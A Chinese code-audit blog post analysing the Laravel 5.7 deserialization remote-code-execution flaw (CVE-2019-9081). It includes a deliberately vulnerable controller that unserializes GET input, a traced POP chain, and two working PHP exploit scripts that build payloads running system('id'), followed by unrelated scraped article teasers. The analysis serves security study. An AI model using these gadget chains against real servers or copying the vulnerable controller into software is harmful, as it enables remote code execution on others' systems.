Laravel 5.7 RCE (CVE-2019-9081)
Laravel 代码审计
环境搭建
Laravel 5.7 文档 : https://learnku.com/docs/laravel/5.7/installation/2242
Composer 下载 :
wget https://getcomposer.org/download/1.8.6/composer.phar获取 composer.phar参照 https://www.jianshu.com/p/438a95046403 安装 Composer 和 Laravel
composer create-project laravel/laravel laravel57 "5.7.*"安装 Laravel 5.7 并生成laravel57项目进入项目文件夹,使用
php artisan serve启动 web 服务在
laravel57/routes/web.php文件添加路由Route::get("/","\App\Http\Controllers\DemoController@demo");
在
laravel57/app/Http/Controllers/下添加DemoController控制器namespace App\Http\Controllers; class DemoController
{
public function demo()
{
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
return "peri0d";
} }
}
Laravel 项目文件夹结构
- app : 包含了应用的核心代码
- Broadcasting : 包含应用程序的所有广播频道类,默认不存在
- Console : 包含了所有自定义的 Artisan 命令
- Events : 存放了 事件类。可以使用事件来提醒应用其他部分发生了特定的操作,使应用程序更加的灵活和解耦。默认不存在
- Exceptions : 包含了应用的异常处理器,也是应用抛出异常的好地方
- Http : 包含了控制器、中间件和表单请求。几乎所有的进入应用的请求的处理逻辑都被放在这里
- Jobs : 存放了应用中的 队列任务 。 应用的任务可以被推送到队列或者在当前请求的生命周期内同步运行。在当前请求期间同步运行的任务可以看做是一个「命令」,因为它们是 命令模式 的实现。默认不存在
- Listeners : 包含了用来处理 事件 的类。事件监听器接收事件实例并执行响应该事件被触发的逻辑。默认不存在
- Mail : 包含应用所有的邮件发送类。默认不存在
- Notifications : 包含应用发送的所有「业务性」通知,比如关于在应用中发生的事件的简单通知。默认不存在
- Policies : 包含了应用的授权策略类。策略可以用来决定一个用户是否有权限去操作指定资源。默认不存在
- Providers : 包含应用的所有服务提供者。服务提供者通过在服务容器中绑定服务、注册事件、以及执行其他任务来为即将到来的请求做准备来启动应用。
- Rules : 包含应用自定义验证规则对象。这些规则意在将复杂的验证逻辑封装在一个简单的对象中。默认不存在
- bootstrap : 包含启动框架的
app.php,还包含cache目录,其下存放框架生成的用来提升性能的文件,比如路由和服务缓存文件 - config : 包含应用程序所有的配置文件
- database : 包含数据填充和迁移文件以及模型工厂类
- public : 包含入口文件
index.php,它是进入应用程序的所有请求的入口点。还包含一些资源文件,比如图片、JS 和 CSS - resources : 包含了视图和未编译的资源文件(如 LESS、SASS 或 JavaScript )。此目录还包含所有的语言文件
- routes : 包含了应用的所有路由定义
- storage : 包含编译后的 Blade 模板、session 会话生成的文件、缓存文件以及框架生成的其他文件
- tests : 包含自动化测试文件
- vendor : 包含所有的 Composer 依赖包,其中也包含了 Laravel 源码
第一种漏洞分析
漏洞触发点位于
Illuminate/Foundation/Testing/PendingCommand.php中的run方法,该文件的功能就是命令执行并获取输出,PendingCommand.php又定义了__destruct()方法,思路就是构造 payload 触发__destruct()方法进而调用run方法实现 rce根据已有的 exp 来看,
PendingCommand类的属性如下$this->app; // 一个实例化的类 Illuminate\Foundation\Application
$this->test; // 一个实例化的类 Illuminate\Auth\GenericUser
$this->command; // 要执行的php函数 system
$this->parameters; // 要执行的php函数的参数 array('id')
在
unserialize($code)处下断点调试,观察调用栈,发现有几个加载函数,spl_autoload_call()、Illuminate\Foundation\AliasLoader->load()、Composer\Autoload\ClassLoader->loadClass()、Composer\Autoload\includeFile()。在加载完所需要的类后,会进入
PendingCommand类的__destruct()方法。由于hasExecuted默认是false,所以会去执行run()函数,run()函数会在第 8 行执行命令,其代码如下public function run()
{
$this->hasExecuted = true; $this->mockConsoleOutput(); try {
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
} catch (NoMatchingExpectationException $e) {
if ($e->getMethodName() === 'askQuestion') {
$this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
}
throw $e;
}
run()中首先执行了mockConsoleOutput(),该函数主要功能就是模拟控制台输出,此时又会加载一些所需要的类。代码如下protected function mockConsoleOutput()
{
$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [(new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),]);
foreach ($this->test->expectedQuestions as $i => $question) {
$mock->shouldReceive('askQuestion')
->once()
->ordered()
->with(Mockery::on(function ($argument) use ($question) {
return $argument->getQuestion() == $question[0];
}))
->andReturnUsing(function () use ($question, $i) {
unset($this->test->expectedQuestions[$i]);
return $question[1];
});
}
$this->app->bind(OutputStyle::class, function () use ($mock) {
return $mock;
});
}
mockConsoleOutput()中又调用了createABufferedOutputMock()。在createABufferedOutputMock()函数中,首先调用mock()函数,它的作用主要是进行对象模拟。然后进入循环,要遍历$this->test类的expectedOutput属性,但是在可以实例化的类中不存在这个属性。当访问一个类中不存在的属性时会触发__get(),通过去触发__get()方法去进一步构造 pop 链。private function createABufferedOutputMock()
{
$mock = Mockery::mock(BufferedOutput::class.'[doWrite]')
->shouldAllowMockingProtectedMethods()
->shouldIgnoreMissing();
foreach ($this->test->expectedOutput as $i => $output) {
$mock->shouldReceive('doWrite')
->once()
->ordered()
->with($output, Mockery::any())
->andReturnUsing(function () use ($i) {
unset($this->test->expectedOutput[$i]);
});
}
return $mock;
}
这里选择
Illuminate\Auth\GenericUser,其__get()魔术方法如下public function __get($key)
{
return $this->attributes[$key];
}
此时
$this->test是我们传入的Illuminate\Auth\GenericUser的实例化对象,则$this->attributes[$key]通过反序列化是可控的,因此我们可以构造$this->attributes键名为expectedOutput的数组。这样一来$this->test->expectedOutput就会返回$this->attributes中键名为expectedOutput的数组回到
mockConsoleOutput()中,又进行了一次 for 循环,调用了$this->test->expectedQuestions,循环体与createABufferedOutputMock()大致相同,所以可以构造$this->attributes键名为expectedQuestions的数组绕过然后就可以走出
mockConsoleOutput()方法,进入命令执行的关键点$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);,这里Kernel::class是个固定值,为Illuminate\Contracts\Console\Kernel,这里需要搞清楚$this->app[Kernel::class],可以得到如下的函数调用顺序Container.php:1222, Illuminate\Foundation\Application->offsetGet()
// key = Illuminate\Contracts\Console\Kernel
public function offsetGet($key)
{
return $this->make($key);
}
Application.php:751, Illuminate\Foundation\Application->make()
// abstract = Illuminate\Contracts\Console\Kernel
public function make($abstract, array $parameters = [])
{
$abstract = $this->getAlias($abstract);
if (isset($this->deferredServices[$abstract]) && ! isset($this->instances[$abstract])) {
$this->loadDeferredProvider($abstract);
}
return parent::make($abstract, $parameters);
}
Container.php:609, Illuminate\Foundation\Application->make()
// abstract = Illuminate\Contracts\Console\Kernel
public function make($abstract, array $parameters = [])
{
return $this->resolve($abstract, $parameters);
}
Container.php:652, Illuminate\Foundation\Application->resolve()
// abstract = Illuminate\Contracts\Console\Kernel
protected function resolve($abstract, $parameters = [])
{
$abstract = $this->getAlias($abstract);
$needsContextualBuild = ! empty($parameters) || ! is_null($this->getContextualConcrete($abstract));
if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
return $this->instances[$abstract];
}
$this->with[] = $parameters;
$concrete = $this->getConcrete($abstract);
// concrete = Illuminate\Foundation\Application
if ($this->isBuildable($concrete, $abstract)) {
$object = $this->build($concrete);
} else {
$object = $this->make($concrete);
}
foreach ($this->getExtenders($abstract) as $extender) {
$object = $extender($object, $this);
}
if ($this->isShared($abstract) && ! $needsContextualBuild) {
$this->instances[$abstract] = $object;
}
$this->fireResolvingCallbacks($abstract, $object);
$this->resolved[$abstract] = true;
array_pop($this->with);
return $object;
}
Container.php:697, Illuminate\Foundation\Application->getConcrete()
// abstract = Illuminate\Contracts\Console\Kernel
protected function getConcrete($abstract)
{
if (! is_null($concrete = $this->getContextualConcrete($abstract))) {
return $concrete;
}
if (isset($this->bindings[$abstract])) {
return $this->bindings[$abstract]['concrete'];
}
return $abstract;
}
在
getConcrete()方法中出了问题,导致可以利用 php 的反射机制实例化任意类。在getConcrete()方法中,判断$this->bindings[$abstract])是否存在,若存在则返回$this->bindings[$abstract]['concrete']。bindings是Container.php中Container类的属性,因此我们只需要找到一个继承自Container的类,就可以通过反序列化控制$this->bindings属性。Illuminate\Foundation\Application继承自Container类。$abstract为Illuminate\Contracts\Console\Kernel,只需通过反序列化定义Illuminate\Foundation\Application的$bindings属性存在键名为Illuminate\Contracts\Console\Kernel的二维数组就能进入该分支语句,返回我们要实例化的类名。在这里返回的是Illuminate\Foundation\Application类。在实例化
Application类的时候, 要满足isBuildable()才可以进行buildprotected function isBuildable($concrete, $abstract)
{
return $concrete === $abstract || $concrete instanceof Closure;
}
此时明显不满足条件,所以接着执行
$object = $this->make($concrete);,在make()函数中成功将$abstract重新赋值为Illuminate\Foundation\Application,从而成功绕过isBuildable()函数,进入$this->build方法,就能看到使用ReflectionClass反射机制,实例化我们传入的类。在返回一个
Illuminate\Foundation\Application对象之后,exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);又调用了call()方法,由于Illuminate\Foundation\Application没有call()方法,所以会调用父类Illuminate\Container\Container的call()方法。public function call($callback, array $parameters = [], $defaultMethod = null)
{
return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
}
跟进
BoundMethod::call()public static function call($container, $callback, array $parameters = [], $defaultMethod = null)
{
if (static::isCallableWithAtSign($callback) || $defaultMethod) {
return static::callClass($container, $callback, $parameters, $defaultMethod);
}
return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
return call_user_func_array(
$callback, static::getMethodDependencies($container, $callback, $parameters)
);
});
}
在
isCallableWithAtSign()处判断回调函数是否为字符串并且其中含有@,并且$defaultMethod默认为 null,很明显不满足条件,进入callBoundMethod(),该函数只是判断$callback是否为数组。后面的匿名函数直接调用call_user_func_array(),并且第一个参数我们可控,参数值为system,第二个参数由getMethodDependencies()方法返回。跟进getMethodDependencies()protected static function getMethodDependencies($container, $callback, array $parameters = [])
{
$dependencies = [];
foreach (static::getCallReflector($callback)->getParameters() as $parameter) {
static::addDependencyForCallParameter($container, $parameter, $parameters, $dependencies);
}
return array_merge($dependencies, $parameters);
}
getCallReflector()用于反射获取$callback的对象, 然后执行addDependencyForCallParameter()为$callback的对象添加一些参数,最后将我们传入的$parameters数组和$dependencies数组合并,$dependencies数组为空。最后相当于执行了call_user_func_array('system',array('id'))exp
<?php
// gadgets.php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test; public function __construct($command, $parameters,$class,$app)
{
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
} namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
} namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings; public function __construct($bind){
$this->bindings=$bind;
}
}
}
?>
<?php
// chain.php
$genericuser = new Illuminate\Auth\GenericUser(
array(
"expectedOutput"=>array("0"=>"1"),
"expectedQuestions"=>array("0"=>"1")
)
);
$application = new Illuminate\Foundation\Application(
array(
"Illuminate\Contracts\Console\Kernel"=>
array(
"concrete"=>"Illuminate\Foundation\Application"
)
)
);
$exp = new Illuminate\Foundation\Testing\PendingCommand(
"system",array('id'),
$genericuser,
$application
); echo urlencode(serialize($exp));
?>
调用栈分析 :
Illuminate\Foundation\Testing\PendingCommand->__destruct()
$test = Illuminate\Auth\GenericUser
attributes = array(
"expectedOutput"=>array("0"=>"1"),
"expectedQuestions"=>array("0"=>"1")
)
$app = Illuminate\Foundation\Application
array(
"Illuminate\Contracts\Console\Kernel" =>
array(
array("concrete"=>"Illuminate\Foundation\Application")
)
)
$command = "system"
$parameters = array("id") Illuminate\Foundation\Testing\PendingCommand->run()
Illuminate\Foundation\Testing\PendingCommand->mockConsoleOutput()
Illuminate\Foundation\Testing\PendingCommand->createABufferedOutputMock()
// 在 foreach 中访问 expectedOutput 属性,但是 GenericUser 类没有这个属性,故而调用 __get() 方法
Illuminate\Auth\GenericUser->__get()
// return attributes["expectedOutput"]
// return array("0"=>"1")
// 在 foreach 中访问 expectedQuestions 属性,但是 GenericUser 类没有这个属性,故而调用 __get() 方法
Illuminate\Auth\GenericUser->__get()
// return attributes["expectedQuestions"]
// return array("0"=>"1") // Application 继承了 Container 所以这相当于执行父类的 offsetGet()
Illuminate\Foundation\Application->offsetGet()
// key : Illuminate\Contracts\Console\Kernel
Illuminate\Foundation\Application->make()
// abstract : Illuminate\Contracts\Console\Kernel
Illuminate\Foundation\Application->make()
// abstract : Illuminate\Contracts\Console\Kernel
Illuminate\Foundation\Application->resolve()
// abstract : Illuminate\Contracts\Console\Kernel
Illuminate\Foundation\Application->getConcrete()
// $this->bindings[$abstract]['concrete'] : Illuminate\Foundation\Application Illuminate\Foundation\Application->call()
Illuminate\Container\BoundMethod->call()
Illuminate\Container\BoundMethod->getMethodDependencies()
第二种漏洞分析
同样的,在
PendingCommand类的mockConsoleOutput()函数处,去触发__get()方法构造 pop 链,这里选择Faker\DefaultGenerator类,其__get()方法如下 :public function __construct($default = null)
{
$this->default = $default;
}
同样的方法绕过
mockConsoleOutput()函数,运行到$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);处。只不过这次的关注点在于resolve()函数的$this->instances[$abstract]处// abstract = Illuminate\Contracts\Console\Kernel
protected function resolve($abstract, $parameters = [])
{
$abstract = $this->getAlias($abstract);
$needsContextualBuild = ! empty($parameters) || ! is_null($this->getContextualConcrete($abstract));
if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
// 在这里返回一个可控的实例化对象
return $this->instances[$abstract];
}
$this->with[] = $parameters;
$concrete = $this->getConcrete($abstract);
if ($this->isBuildable($concrete, $abstract)) {
$object = $this->build($concrete);
} else {
$object = $this->make($concrete);
}
foreach ($this->getExtenders($abstract) as $extender) {
$object = $extender($object, $this);
}
if ($this->isShared($abstract) && ! $needsContextualBuild) {
$this->instances[$abstract] = $object;
}
$this->fireResolvingCallbacks($abstract, $object);
$this->resolved[$abstract] = true;
array_pop($this->with);
return $object;
}
instances是Container.php中Container类的属性。因此我们只需要找到一个继承自Container的类,就可以通过反序列化控制$this->instances属性。Illuminate\Foundation\Application继承自Container类。$abstract为Illuminate\Contracts\Console\Kernel,只需通过反序列化定义Illuminate\Foundation\Application的$instances属性存在键名为Illuminate\Contracts\Console\Kernel的数组就能返回我们要实例化的类名。在这里返回的是Illuminate\Foundation\Application类。其余的就和第一种相同了,不同点在于构造可控实例化对象的方法不同
exp :
<?php
// gadgets.php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test; public function __construct($command, $parameters,$class,$app)
{
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
} namespace Faker{
class DefaultGenerator{
protected $default; public function __construct($default = null)
{
$this->default = $default;
}
}
} namespace Illuminate\Foundation{
class Application{
protected $instances = [];
public function __construct($instance){
$this->instances["Illuminate\Contracts\Console\Kernel"] = $instance;
}
}
}
?>
<?php
// chain.php
$defaultgenerator = new Faker\DefaultGenerator(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1")));
$app = new Illuminate\Foundation\Application();
$application = new Illuminate\Foundation\Application($app);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand('system', array('id'), $defaultgenerator, $application); echo urlencode(serialize($pendingcommand));
?>
思考
- 代码调试的技巧
- 函数调用栈的分析
- 可控点的寻找
参考链接
- https://xz.aliyun.com/t/5483
- https://laworigin.github.io/2019/02/21/laravelv5-7反序列化rce/
- https://www.jianshu.com/p/438a95046403
Laravel 5.7 RCE (CVE-2019-9081)的更多相关文章
- Laravel 5.8 RCE 分析
原帖地址 : https://xz.aliyun.com/t/6059 Laravel 代码审计 环境搭建 composer create-project --prefer-dist laravel/ ...
- CVE 2019 0708 安装重启之后 可能造成 手动IP地址丢失.
1. 最近两天发现 更新了微软的CVE 2019-0708的补丁之后 之前设置的手动ip地址会变成 自动获取, 造成ip地址丢失.. 我昨天遇到两个, 今天同事又遇到一个.微软做补丁也不走心啊..
- CVE-2019-9081:laravel框架序列化RCE复现分析
这里贴上两篇大佬的分析的帖子 本人习惯把平常的一些笔记或者好的帖子记录在自己的博客当中,便于之后遇到同样的漏洞时快速打开思路 1.https://xz.aliyun.com/t/5510#toc-8 ...
- CVE-2021-3129:Laravel远程代码漏洞复现分析
摘要:本文主要为大家带来CVE-2021-3129漏洞复现分析,为大家在日常工作中提供帮助. 本文分享自华为云社区<CVE-2021-3129 分析>,作者:Xuuuu . CVE-202 ...
- Debian Security Advisory(Debian安全报告) DSA-4414-1 libapache2-mod-auth-mellon security update
Debian Security Advisory(Debian安全报告) DSA-4414-1 libapache2-mod-auth-mellon security update Package:l ...
- 2021 羊城杯WriteUP
比赛感受 题目质量挺不错的,不知道题目会不会上buu有机会复现一下,躺了个三等奖,发下队伍的wp Team BinX from GZHU web Checkin_Go 源码下载下来发现是go语言写的 ...
- [BUUOJ记录] [极客大挑战 2019]RCE ME
前面考察取反或者异或绕过,后面读Flag那里我用脏方法过了,没看出来考察啥 进入题目给出源码: <?php error_reporting(0); if(isset($_GET['code']) ...
- [原题复现]ByteCTF 2019 –WEB- Boring-Code[无参数rce、绕过filter_var(),等]
简介 原题复现: 考察知识点:无参数命令执行.绕过filter_var(), preg_match() 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使 ...
- [原题复现]2019上海大学生WEB-Decade(无参数RCE、Fuzz)
简介 原题复现: 考察知识点:无参数命令执行.Fuzz 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 环境复现 ...
随机推荐
- 数据库(sqlserver 2005)优化排查之路
查找问题过程是痛苦的,解决完问题是快乐! 兄弟帮助一个公司开发了一个旅游网站(asp.net+sqlsever2005),一直还算稳定,但是最近网站却慢的可以,让人头疼.登录服务器,进入任务管理器,发 ...
- 基于STM32F030F4P9和STM32 CUBEMX 输出PWM波形
STM32F030F4P9定时器功能比较丰富,在此记录项目中使用其自动输出PWM波形(频率:50HZ).CubeMX配置定时器如下图说明. 在此定时器基础时钟为48MHZ,配置中不做分频处理,预分频系 ...
- MySQL出现的问题
错误展示 今天还是老样子照常启动MySQL WorkBench的时候出了错误,无法连接服务器 CMD登陆也不行 发现mysql的服务都没启动,于是点击启动,却又报这个错 cmd查看MySQL的日志,想 ...
- Collections.sort详解
Collections.sort(list, new PriceComparator());的第二个参数返回一个int型的值,就相当于一个标志,告诉sort方法按什么顺序来对list进行排序. Com ...
- 【python系统学习12】函数
函数 函数是一堆组织好的.可重复利用的.用来实现某一功能的代码. python中的input().print().type().bool().len()等都是函数.且是python的内置函数. 我们也 ...
- STL之sstream的用法
STL之sstream的用法 说在前面: 库定义了三种类:istringstream.ostringstream和stringstream,分别用来进行流的输入.输出和输入输出操作.另外,每个类都有一 ...
- lly的瞬移方块(并查集)
lly的瞬移方块 Description llyllylly最近发明了一个叫瞬移方块的游戏,为啥llyllylly这么闲呢,这得从一只蝙蝠说起..... llyllylly决定给大家也分享一下这个游戏 ...
- 监听窗口大小变化,改变画面大小-[Three.js]-[onResize]
如果没有监听窗口变化,将会出现一下情况: ![](https://img2018.cnblogs.com/blog/1735896/202001/1735896-20200102081845027-2 ...
- Windows&linux使用集成环境搭建 web 服务器
文章更新于:2020-02-17 按照惯例,需要的文件附上链接放在文首 文件名:phpStudy_64.7z 文件大小:78.3 M 下载链接https://www.lanzous.com/i9c6l ...
- css进阶选择器
后代选择器 用空格隔开 选择div标签下的p标签下的a标签 div p a 选择class为parent标签下的p标签下的a标签 .parent p a 后代选择器可以是标签.类.id的混合体 后代选 ...